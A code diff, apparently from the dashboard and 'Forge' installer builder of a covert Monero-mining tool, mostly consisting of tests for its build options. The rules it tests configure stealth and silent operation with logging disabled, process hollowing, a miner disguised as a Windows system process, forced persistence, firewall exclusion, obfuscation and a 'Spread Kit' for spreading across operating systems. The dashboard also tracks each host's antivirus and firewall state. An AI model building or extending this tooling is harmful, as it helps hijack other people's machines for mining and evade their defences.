"node": ">=8"
}
},
"node_modules/suspend-react": { "node_modules/suspend-react": {
"version": "0.1.3", "version": "0.1.3",
"resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz", "resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz",

View File

@@ -25,6 +25,9 @@
}, },
"devDependencies": { "devDependencies": {
"@playwright/test": "^1.49.0", "@playwright/test": "^1.49.0",
"@testing-library/jest-dom": "^6.9.1",
"@testing-library/react": "^16.3.2",
"@testing-library/user-event": "^14.6.1",
"@types/react": "^18.2.37", "@types/react": "^18.2.37",
"@types/react-dom": "^18.2.15", "@types/react-dom": "^18.2.15",
"@vitejs/plugin-react": "^4.2.0", "@vitejs/plugin-react": "^4.2.0",

View File

@@ -115,6 +115,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
), ),
status: 'online' as const, status: 'online' as const,
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}), ...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
} }
: a : a
) )

View File

@@ -0,0 +1,40 @@
import { describe, expect, it } from 'vitest';
import { formatLanEndpoint, lanEndpointCandidates } from './endpointHelpers';
import type { ServerInfo } from '../types';
describe('formatLanEndpoint', () => {
it('strips scheme and path from host', () => {
expect(formatLanEndpoint('https://192.168.1.5:8989/extra', 8989)).toBe('http://192.168.1.5:8989');
});
it('builds http URL from bare IP', () => {
expect(formatLanEndpoint('10.0.0.2', 7777)).toBe('http://10.0.0.2:7777');
});
});
describe('lanEndpointCandidates', () => {
it('dedupes suggested URL and local IPs', () => {
const info: ServerInfo = {
port: 8989,
host: 'localhost',
local_ips: ['192.168.1.10', '192.168.1.10'],
suggested_url: 'http://192.168.1.10:8989',
dashboard_url: 'http://192.168.1.10:8989',
websocket_url: 'ws://192.168.1.10:8989/ws/agent',
};
const urls = lanEndpointCandidates(info);
expect(urls).toEqual(['http://192.168.1.10:8989']);
});
it('honours port override', () => {
const info: ServerInfo = {
port: 8989,
host: 'localhost',
local_ips: ['10.0.0.1'],
suggested_url: '',
dashboard_url: '',
websocket_url: '',
};
expect(lanEndpointCandidates(info, 9000)).toEqual(['http://10.0.0.1:9000']);
});
});

View File

@@ -0,0 +1,133 @@
import { describe, expect, it } from 'vitest';
import {
computeFleetHealth,
contributionBars,
findUnderperformers,
fleetMedianHashrate,
groupBySubnet,
osArchBreakdown,
staleAgentIds,
timeToPayout,
} from './fleetAnalytics';
import type { Agent, PoolStatus } from '../types';
const agent = (overrides: Partial<Agent> = {}): Agent => ({
id: 'a1',
name: 'node-1',
status: 'online',
hashrate_15m: 1000,
shares_total: 100,
shares_good: 98,
ip: '192.168.1.10',
platform: 'windows',
arch: 'amd64',
last_seen: new Date().toISOString(),
...overrides,
} as Agent);
describe('computeFleetHealth', () => {
it('returns NOMINAL for healthy fleet', () => {
const agents = [agent(), agent({ id: 'a2', name: 'node-2', hashrate_15m: 900 })];
const pools: PoolStatus[] = [{ name: 'primary', status: 'green' }];
const health = computeFleetHealth(agents, pools);
expect(health.label).toBe('NOMINAL');
expect(health.score).toBeGreaterThanOrEqual(80);
expect(health.issues).toHaveLength(0);
});
it('flags offline nodes and pool degradation', () => {
const agents = [agent(), agent({ id: 'a2', status: 'offline', hashrate_15m: 0 })];
const pools: PoolStatus[] = [{ name: 'primary', status: 'red' }];
const health = computeFleetHealth(agents, pools);
expect(health.label).not.toBe('NOMINAL');
expect(health.issues.some((i) => i.includes('offline'))).toBe(true);
expect(health.issues.some((i) => i.includes('pool'))).toBe(true);
});
});
describe('contributionBars', () => {
it('sorts online agents by hashrate share', () => {
const bars = contributionBars([
agent({ id: 'a1', hashrate_15m: 300 }),
agent({ id: 'a2', hashrate_15m: 700 }),
agent({ id: 'a3', status: 'offline', hashrate_15m: 9999 }),
]);
expect(bars).toHaveLength(2);
expect(bars[0].id).toBe('a2');
expect(bars[0].pct).toBeCloseTo(70, 1);
});
});
describe('findUnderperformers', () => {
it('returns agents below 70% of median', () => {
const agents = [
agent({ id: 'fast', hashrate_15m: 1000 }),
agent({ id: 'slow', hashrate_15m: 500 }),
agent({ id: 'mid', hashrate_15m: 900 }),
];
const under = findUnderperformers(agents);
expect(under.map((a) => a.id)).toEqual(['slow']);
});
it('returns empty when fewer than 2 online miners', () => {
expect(findUnderperformers([agent()])).toEqual([]);
});
});
describe('fleetMedianHashrate', () => {
it('computes median of online non-zero agents', () => {
const med = fleetMedianHashrate([
agent({ hashrate_15m: 100 }),
agent({ id: 'a2', hashrate_15m: 300 }),
agent({ id: 'a3', hashrate_15m: 200 }),
]);
expect(med).toBe(200);
});
});
describe('groupBySubnet', () => {
it('groups by /24 prefix', () => {
const groups = groupBySubnet([
agent({ ip: '10.0.0.1' }),
agent({ id: 'a2', ip: '10.0.0.2' }),
agent({ id: 'a3', ip: '192.168.5.9' }),
]);
expect(groups).toHaveLength(2);
expect(groups[0].subnet).toBe('10.0.0.x');
expect(groups[0].agents).toHaveLength(2);
});
});
describe('osArchBreakdown', () => {
it('labels platforms for display', () => {
const rows = osArchBreakdown([
agent({ platform: 'linux', arch: 'amd64' }),
agent({ id: 'a2', platform: 'darwin', arch: 'arm64' }),
]);
expect(rows.some((r) => r.label.includes('Linux'))).toBe(true);
expect(rows.some((r) => r.label.includes('macOS'))).toBe(true);
});
});
describe('staleAgentIds', () => {
it('flags online agents not seen in 5+ minutes', () => {
const staleTime = new Date(Date.now() - 6 * 60 * 1000).toISOString();
const ids = staleAgentIds([
agent({ id: 'fresh', last_seen: new Date().toISOString() }),
agent({ id: 'stale', last_seen: staleTime }),
]);
expect(ids.has('stale')).toBe(true);
expect(ids.has('fresh')).toBe(false);
});
});
describe('timeToPayout', () => {
it('returns days until payout', () => {
expect(timeToPayout(0.5, 0.25)).toBe(2);
});
it('returns null when data missing', () => {
expect(timeToPayout(undefined, 1)).toBeNull();
expect(timeToPayout(1, 0)).toBeNull();
});
});

View File

@@ -86,9 +86,9 @@ export function computeFleetHealth(agents: Agent[], pools: PoolStatus[]): FleetH
// ─── Contribution Map ───────────────────────────────────────────────────────── // ─── Contribution Map ─────────────────────────────────────────────────────────
export function contributionBars(agents: Agent[]): ContributionBar[] { export function contributionBars(agents: Agent[]): ContributionBar[] {
const total = agents.reduce((s, a) => s + a.hashrate_15m, 0); const online = agents.filter((a) => a.status === 'online');
return agents const total = online.reduce((s, a) => s + a.hashrate_15m, 0);
.filter((a) => a.status === 'online') return online
.map((a) => ({ .map((a) => ({
id: a.id, id: a.id,
name: a.name, name: a.name,

View File

@@ -0,0 +1,273 @@
import { describe, expect, it } from 'vitest';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';
/** Valid mainnet-style Monero address (95 chars, starts with 4). */
const VALID_WALLET = '4' + 'A'.repeat(94);
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
return {
worker_name: 'pc-lab-1',
server_url: 'http://192.168.1.10:8989',
wallet: VALID_WALLET,
pool_host: 'pool.supportxmr.com',
pool_port: 3333,
pool_tls: true,
pool_pass: 'x',
...FORGE_BUILD_DEFAULTS,
...overrides,
} as BuildRequest;
}
function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) {
const checks = runForgeCompatibilityChecks(form, fusionPrep);
const match = checks.find((c) => c.id === id);
if (!match) return false;
return level === undefined || match.level === level;
}
describe('runForgeCompatibilityChecks', () => {
it('returns no errors for a fully valid form', () => {
const checks = runForgeCompatibilityChecks(baseForm(), false);
const errors = checks.filter((c) => c.level === 'error');
expect(errors).toHaveLength(0);
expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true);
});
describe('stealth and display', () => {
it('errors when stealth mode uses visible display', () => {
expect(
hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error')
).toBe(true);
});
it('errors when stealth mode enables file logging', () => {
expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe(
true
);
});
it('errors when fusion uses visible display', () => {
expect(
hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error')
).toBe(true);
});
});
describe('idle mining mode', () => {
it('errors when idle threshold is out of range', () => {
expect(
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error')
).toBe(true);
expect(
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error')
).toBe(true);
});
it('errors when idle duration is below 1 minute', () => {
expect(
hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error')
).toBe(true);
});
it('does not check idle fields when mining mode is not idle', () => {
expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe(
false
);
});
});
describe('scheduled mining mode', () => {
it('errors when schedule times are missing', () => {
expect(
hasCheck(
baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }),
false,
'schedule',
'error'
)
).toBe(true);
});
it('passes when both schedule times are set', () => {
expect(
hasCheck(
baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }),
false,
'schedule'
)
).toBe(false);
});
});
describe('threads and CPU limits', () => {
it('warns when adapt_to_hardware is on with fixed thread mode', () => {
expect(
hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn')
).toBe(true);
});
it('errors when thread percent is out of range', () => {
expect(
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error')
).toBe(true);
expect(
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error')
).toBe(true);
});
it('errors when max CPU usage is out of range', () => {
expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true);
expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true);
});
it('errors when max memory is out of range', () => {
expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true);
expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true);
});
});
describe('pool configuration', () => {
it('errors when pool port is out of range', () => {
expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true);
expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true);
});
it('warns on port 443 without TLS', () => {
expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true);
});
it('warns on TLS with port 3333', () => {
expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true);
});
it('warns when pool password is empty', () => {
expect(hasCheck(baseForm({ pool_pass: ' ' }), false, 'pool_pass', 'warn')).toBe(true);
});
});
describe('run mode and AI', () => {
it('warns when run_as is service', () => {
expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true);
});
it('warns when AI uses 127.0.0.1 endpoint', () => {
expect(
hasCheck(
baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }),
false,
'ai_localhost',
'warn'
)
).toBe(true);
});
it('warns when AI is enabled without self-healing', () => {
expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true);
});
});
describe('identity fields', () => {
it('errors when process name is empty', () => {
expect(hasCheck(baseForm({ process_name: ' ' }), false, 'process_name_empty', 'error')).toBe(true);
});
it('warns when process name has unusual characters', () => {
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
});
it('errors when worker name is empty', () => {
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
});
it('errors when server URL uses localhost', () => {
expect(
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
});
it('errors when server URL uses 127.0.0.1', () => {
expect(
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
});
it('warns when wallet does not match Monero format', () => {
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
});
it('accepts minimum-length wallet (90 chars)', () => {
const wallet = '4' + 'A'.repeat(89);
expect(wallet.length).toBe(90);
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
});
it('accepts subaddress starting with 8', () => {
const subaddress = '8' + 'B'.repeat(94);
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
});
it('emits forge_ready when core config is coherent', () => {
const checks = runForgeCompatibilityChecks(baseForm(), false);
const ready = checks.find((c) => c.id === 'forge_ready');
expect(ready?.level).toBe('ok');
expect(ready?.message).toContain('Core miner config looks coherent');
});
});
describe('fusion and deliverables', () => {
it('emits fusion_ready when prep is attached', () => {
expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true);
});
it('errors when spread kit targets non-universal OS', () => {
expect(
hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error')
).toBe(true);
});
it('errors when spread kit and fusion are both enabled', () => {
expect(
hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error')
).toBe(true);
});
it('warns when universal has no spread kit or fusion', () => {
expect(
hasCheck(
baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }),
false,
'universal_deliverable',
'warn'
)
).toBe(true);
});
});
describe('platform-specific constraints', () => {
it('errors when process hollowing is set on Linux', () => {
expect(
hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error')
).toBe(true);
});
it('errors when process hollowing is set on macOS', () => {
expect(
hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error')
).toBe(true);
});
it('errors when sign_build is set on Linux', () => {
expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe(
true
);
});
it('errors when sign_build is set on macOS', () => {
expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe(
true
);
});
});
});

View File

@@ -190,7 +190,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
checks.push({ checks.push({
id: 'wallet_invalid', id: 'wallet_invalid',
level: 'warn', level: 'warn',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.', message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
}); });
} }

View File

@@ -0,0 +1,427 @@
import { describe, expect, it } from 'vitest';
import {
FORGE_SECTIONS,
applyForgeFieldUpdate,
forgeBadgeLabel,
getForgeFieldMeta,
getForgeLiveNotices,
type ForgeFieldBadge,
} from './forgeRules';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
return {
worker_name: 'pc-lab-1',
server_url: 'http://192.168.1.10:8989',
wallet: '4' + 'A'.repeat(94),
pool_host: 'pool.supportxmr.com',
pool_port: 3333,
pool_tls: false,
pool_pass: 'x',
...FORGE_BUILD_DEFAULTS,
...overrides,
} as BuildRequest;
}
describe('FORGE_SECTIONS', () => {
it('defines six sections in order', () => {
expect(FORGE_SECTIONS).toHaveLength(6);
expect(FORGE_SECTIONS.map((s) => s.id)).toEqual([
'identity',
'pool',
'performance',
'install',
'fusion',
'ai',
]);
});
it('each section has id, title, description, and baked badge', () => {
for (const section of FORGE_SECTIONS) {
expect(section.id.length).toBeGreaterThan(0);
expect(section.title.length).toBeGreaterThan(0);
expect(section.description.length).toBeGreaterThan(0);
expect(section.badge).toBe('baked');
}
});
it('uses expected section titles', () => {
const titles = Object.fromEntries(FORGE_SECTIONS.map((s) => [s.id, s.title]));
expect(titles.identity).toBe('Identity');
expect(titles.pool).toBe('Pool Configuration');
expect(titles.performance).toBe('Performance & Resources');
expect(titles.install).toBe('Install & Process');
expect(titles.fusion).toBe('Fusion');
expect(titles.ai).toBe('AI Autonomy');
});
});
describe('forgeBadgeLabel', () => {
const cases: [ForgeFieldBadge, string][] = [
['baked', 'Baked into installer'],
['server-only', 'Server folder only — not in .exe'],
['requires', 'Required when parent option is on'],
];
it.each(cases)('maps %s badge to label', (badge, label) => {
expect(forgeBadgeLabel(badge)).toBe(label);
});
});
describe('applyForgeFieldUpdate', () => {
it('stealth_mode disables logging and forces silent/background', () => {
const out = applyForgeFieldUpdate(
baseForm({ display_mode: 'visible', file_logging: true, silent_mode: false }),
'stealth_mode',
true
);
expect(out.stealth_mode).toBe(true);
expect(out.file_logging).toBe(false);
expect(out.display_mode).toBe('background');
expect(out.silent_mode).toBe(true);
});
it('display_mode visible clears stealth and silent', () => {
const out = applyForgeFieldUpdate(
baseForm({ stealth_mode: true, silent_mode: true }),
'display_mode',
'visible'
);
expect(out.display_mode).toBe('visible');
expect(out.stealth_mode).toBe(false);
expect(out.silent_mode).toBe(false);
});
it('display_mode silent/background enables silent_mode', () => {
expect(applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'silent').silent_mode).toBe(
true
);
expect(
applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'background').silent_mode
).toBe(true);
});
it('persistence and auto_start stay linked', () => {
expect(applyForgeFieldUpdate(baseForm({ auto_start: false }), 'persistence', true).auto_start).toBe(true);
expect(applyForgeFieldUpdate(baseForm({ persistence: false }), 'auto_start', true).persistence).toBe(true);
});
it('linux target clears Windows-only flags and fixes install base', () => {
const out = applyForgeFieldUpdate(
baseForm({
target_os: 'windows',
process_hollowing: true,
sign_build: true,
obfuscate: true,
install_base: 'localappdata',
}),
'target_os',
'linux'
);
expect(out.target_os).toBe('linux');
expect(out.target_arch).toBe('amd64');
expect(out.process_hollowing).toBe(false);
expect(out.sign_build).toBe(false);
expect(out.obfuscate).toBe(false);
expect(out.spread_kit).toBe(false);
expect(out.install_base).toBe('xdg_data_home');
});
it('darwin target defaults to arm64', () => {
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'darwin');
expect(out.target_os).toBe('darwin');
expect(out.target_arch).toBe('arm64');
});
it('windows target restores localappdata from xdg path', () => {
const out = applyForgeFieldUpdate(baseForm({ install_base: 'xdg_data_home' }), 'target_os', 'windows');
expect(out.target_os).toBe('windows');
expect(out.target_arch).toBe('all');
expect(out.install_base).toBe('localappdata');
});
it('universal target on single deliverable normalizes back to windows', () => {
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'universal');
expect(out.target_os).toBe('windows');
expect(out.target_arch).toBe('all');
});
it('universal target stays when spread kit is active', () => {
const out = applyForgeFieldUpdate(baseForm({ spread_kit: true }), 'target_os', 'universal');
expect(out.target_os).toBe('universal');
expect(out.target_arch).toBe('all');
});
it('fusion_enabled forces background, clears spread kit, and universal target', () => {
const out = applyForgeFieldUpdate(
baseForm({ spread_kit: true, display_mode: 'visible', target_os: 'windows' }),
'fusion_enabled',
true
);
expect(out.fusion_enabled).toBe(true);
expect(out.display_mode).toBe('background');
expect(out.silent_mode).toBe(true);
expect(out.spread_kit).toBe(false);
expect(out.target_os).toBe('universal');
});
it('spread_kit applies full preset and clears fusion', () => {
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
expect(out.spread_kit).toBe(true);
expect(out.fusion_enabled).toBe(false);
expect(out.target_os).toBe('universal');
expect(out.target_arch).toBe('all');
expect(out.run_as).toBe('scheduled');
expect(out.persistence).toBe(true);
expect(out.auto_start).toBe(true);
expect(out.self_healing).toBe(true);
expect(out.stealth_mode).toBe(true);
expect(out.silent_mode).toBe(true);
expect(out.file_logging).toBe(false);
expect(out.firewall_exclusion).toBe(true);
expect(out.display_mode).toBe('background');
expect(out.process_hollowing).toBe(false);
});
it('thread_mode fixed sets minimum threads', () => {
const out = applyForgeFieldUpdate(baseForm({ threads: 0 }), 'thread_mode', 'fixed');
expect(out.thread_mode).toBe('fixed');
expect(out.threads).toBeGreaterThanOrEqual(1);
});
it('thread_mode percent clamps invalid thread_percent', () => {
const out = applyForgeFieldUpdate(baseForm({ thread_percent: 0 }), 'thread_mode', 'percent');
expect(out.thread_percent).toBe(75);
});
it('install_base non-custom clears custom path', () => {
const out = applyForgeFieldUpdate(
baseForm({ install_custom_base: 'C:\\custom', install_base: 'custom' }),
'install_base',
'localappdata'
);
expect(out.install_base).toBe('localappdata');
expect(out.install_custom_base).toBe('');
});
it('run_as scheduled/service forces persistence flags', () => {
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
expect(scheduled.persistence).toBe(true);
expect(scheduled.auto_start).toBe(true);
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
expect(service.persistence).toBe(true);
expect(service.auto_start).toBe(true);
});
it('ai_enabled fills default endpoint and model when empty', () => {
const out = applyForgeFieldUpdate(
baseForm({ ai_ollama_endpoint: '', ai_model: '' }),
'ai_enabled',
true
);
expect(out.ai_enabled).toBe(true);
expect(out.ai_ollama_endpoint).toBe('http://localhost:11434');
expect(out.ai_model).toBe('llama3.2');
});
it('pool_port 443 auto-enables TLS', () => {
const out = applyForgeFieldUpdate(baseForm({ pool_tls: false }), 'pool_port', 443);
expect(out.pool_port).toBe(443);
expect(out.pool_tls).toBe(true);
});
it('worker_name update does not auto-derive process_name', () => {
const out = applyForgeFieldUpdate(baseForm({ process_name: 'RuntimeBrokerHelper' }), 'worker_name', 'new-worker');
expect(out.worker_name).toBe('new-worker');
expect(out.process_name).toBe('RuntimeBrokerHelper');
});
});
describe('getForgeFieldMeta', () => {
it('returns meta for all known forge fields', () => {
const meta = getForgeFieldMeta(baseForm());
const expectedKeys = [
'worker_name',
'server_url',
'wallet',
'output_dir',
'pool_host',
'pool_port',
'thread_mode',
'thread_percent',
'threads',
'fusion_enabled',
'spread_kit',
'target_os',
'target_arch',
'obfuscate',
'sign_build',
];
for (const key of expectedKeys) {
expect(meta[key]).toBeDefined();
}
});
it('disables thread_percent when thread mode is fixed', () => {
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'fixed' }));
expect(meta.thread_percent.disabled).toBe(true);
expect(meta.threads.disabled).toBe(false);
expect(meta.adapt_to_hardware.disabled).toBe(true);
});
it('disables threads when thread mode is percent', () => {
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'percent' }));
expect(meta.threads.disabled).toBe(true);
expect(meta.thread_percent.disabled).toBe(false);
});
it('disables idle fields unless mining mode is idle', () => {
const idle = getForgeFieldMeta(baseForm({ mining_mode: 'idle' }));
expect(idle.idle_threshold_pct.disabled).toBe(false);
expect(idle.idle_duration_minutes.disabled).toBe(false);
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
expect(always.idle_threshold_pct.disabled).toBe(true);
expect(always.idle_duration_minutes.disabled).toBe(true);
});
it('disables schedule fields unless mining mode is scheduled', () => {
const scheduled = getForgeFieldMeta(baseForm({ mining_mode: 'scheduled' }));
expect(scheduled.schedule_start.disabled).toBe(false);
expect(scheduled.schedule_end.disabled).toBe(false);
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
expect(always.schedule_start.disabled).toBe(true);
});
it('locks file_logging under stealth mode', () => {
const meta = getForgeFieldMeta(baseForm({ stealth_mode: true }));
expect(meta.file_logging.disabled).toBe(true);
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
});
it('locks persistence under scheduled/service run_as', () => {
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
expect(meta.persistence.disabled).toBe(true);
expect(meta.auto_start.disabled).toBe(true);
});
it('locks fusion when spread kit is on and vice versa', () => {
const spread = getForgeFieldMeta(baseForm({ spread_kit: true }));
expect(spread.fusion_enabled.disabled).toBe(true);
expect(spread.target_os.disabled).toBe(true);
const fusion = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
expect(fusion.spread_kit.disabled).toBe(true);
expect(fusion.target_os.disabled).toBe(true);
});
it('requires fusion fields only when fusion is enabled', () => {
const off = getForgeFieldMeta(baseForm({ fusion_enabled: false }));
expect(off.fusion_prep.disabled).toBe(true);
expect(off.fusion_run_order.badge).toBe('requires');
const on = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
expect(on.fusion_prep.disabled).toBe(false);
});
it('disables unix-incompatible fields on linux/darwin', () => {
const linux = getForgeFieldMeta(baseForm({ target_os: 'linux' }));
expect(linux.process_hollowing.disabled).toBe(true);
expect(linux.obfuscate.disabled).toBe(true);
expect(linux.target_arch.disabled).toBe(false);
const windows = getForgeFieldMeta(baseForm({ target_os: 'windows' }));
expect(windows.target_arch.disabled).toBe(true);
expect(windows.sign_build.disabled).toBe(false);
});
it('marks output_dir and obfuscate as server-only', () => {
const meta = getForgeFieldMeta(baseForm());
expect(meta.output_dir.badge).toBe('server-only');
expect(meta.obfuscate.badge).toBe('server-only');
});
});
describe('getForgeLiveNotices', () => {
it('returns empty array for a plain windows form', () => {
const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false);
expect(notices).toEqual([]);
});
it('warns about service run mode', () => {
const notices = getForgeLiveNotices(baseForm({ run_as: 'service' }), false);
expect(notices.some((n) => n.includes('scheduled task'))).toBe(true);
});
it('warns when scheduled/service lacks persistence', () => {
const notices = getForgeLiveNotices(
baseForm({ run_as: 'scheduled', persistence: false }),
false
);
expect(notices.some((n) => n.includes('Persistence is forced on'))).toBe(true);
});
it('warns when fusion enabled without prep upload', () => {
const notices = getForgeLiveNotices(baseForm({ fusion_enabled: true }), false);
expect(notices.some((n) => n.includes('upload prep.exe'))).toBe(true);
});
it('includes AI Ollama notice when AI is enabled', () => {
const notices = getForgeLiveNotices(baseForm({ ai_enabled: true }), false);
expect(notices.some((n) => n.includes('Ollama'))).toBe(true);
});
it('warns when fixed threads ignores adapt_to_hardware', () => {
const notices = getForgeLiveNotices(
baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }),
false
);
expect(notices.some((n) => n.includes('Adapt to hardware'))).toBe(true);
});
it('warns on pool TLS/port mismatches', () => {
const p443 = getForgeLiveNotices(baseForm({ pool_port: 443, pool_tls: false }), false);
expect(p443.some((n) => n.includes('Port 443'))).toBe(true);
const p3333 = getForgeLiveNotices(baseForm({ pool_port: 3333, pool_tls: true }), false);
expect(p3333.some((n) => n.includes('3333'))).toBe(true);
});
it('warns on low max CPU with high thread percent', () => {
const notices = getForgeLiveNotices(
baseForm({ max_cpu_usage_pct: 20, thread_percent: 80, thread_mode: 'percent' }),
false
);
expect(notices.some((n) => n.includes('throttling'))).toBe(true);
});
it('describes universal, spread kit, and fusion deliverables', () => {
const universal = getForgeLiveNotices(baseForm({ target_os: 'universal' }), false);
expect(universal.some((n) => n.includes('Windows, Linux, and macOS'))).toBe(true);
const spread = getForgeLiveNotices(baseForm({ spread_kit: true, target_os: 'universal' }), false);
expect(spread.some((n) => n.includes('Spread Kit'))).toBe(true);
const fusion = getForgeLiveNotices(baseForm({ fusion_enabled: true, target_os: 'universal' }), true);
expect(fusion.some((n) => n.includes('Fusion builds a universal ZIP'))).toBe(true);
});
it('notes single-platform unix install paths', () => {
const linux = getForgeLiveNotices(baseForm({ target_os: 'linux' }), false);
expect(linux.some((n) => n.includes('linux worker'))).toBe(true);
const darwin = getForgeLiveNotices(baseForm({ target_os: 'darwin' }), false);
expect(darwin.some((n) => n.includes('darwin worker'))).toBe(true);
});
it('warns on universal without deliverable type', () => {
const notices = getForgeLiveNotices(
baseForm({ target_os: 'universal', fusion_enabled: false, spread_kit: false }),
false
);
expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true);
});
});

View File

@@ -0,0 +1,133 @@
import { describe, expect, it } from 'vitest';
import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp';
describe('SETUP_CHEATSHEET', () => {
it('defines four setup steps in order', () => {
expect(SETUP_CHEATSHEET).toHaveLength(4);
expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([
'1. Calibrate once',
'2. Forge (Simple mode)',
'3. Deploy',
'4. Watch the fleet',
]);
});
it('each step has non-empty title and body', () => {
for (const step of SETUP_CHEATSHEET) {
expect(step.title.trim().length).toBeGreaterThan(0);
expect(step.body.trim().length).toBeGreaterThan(20);
}
});
it('mentions key workflow concepts in bodies', () => {
const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' ');
expect(bodies).toContain('Calibrate');
expect(bodies).toContain('Forge');
expect(bodies).toContain('Command Deck');
expect(bodies).toContain('Fleet Roster');
});
});
describe('FIELD_HELP', () => {
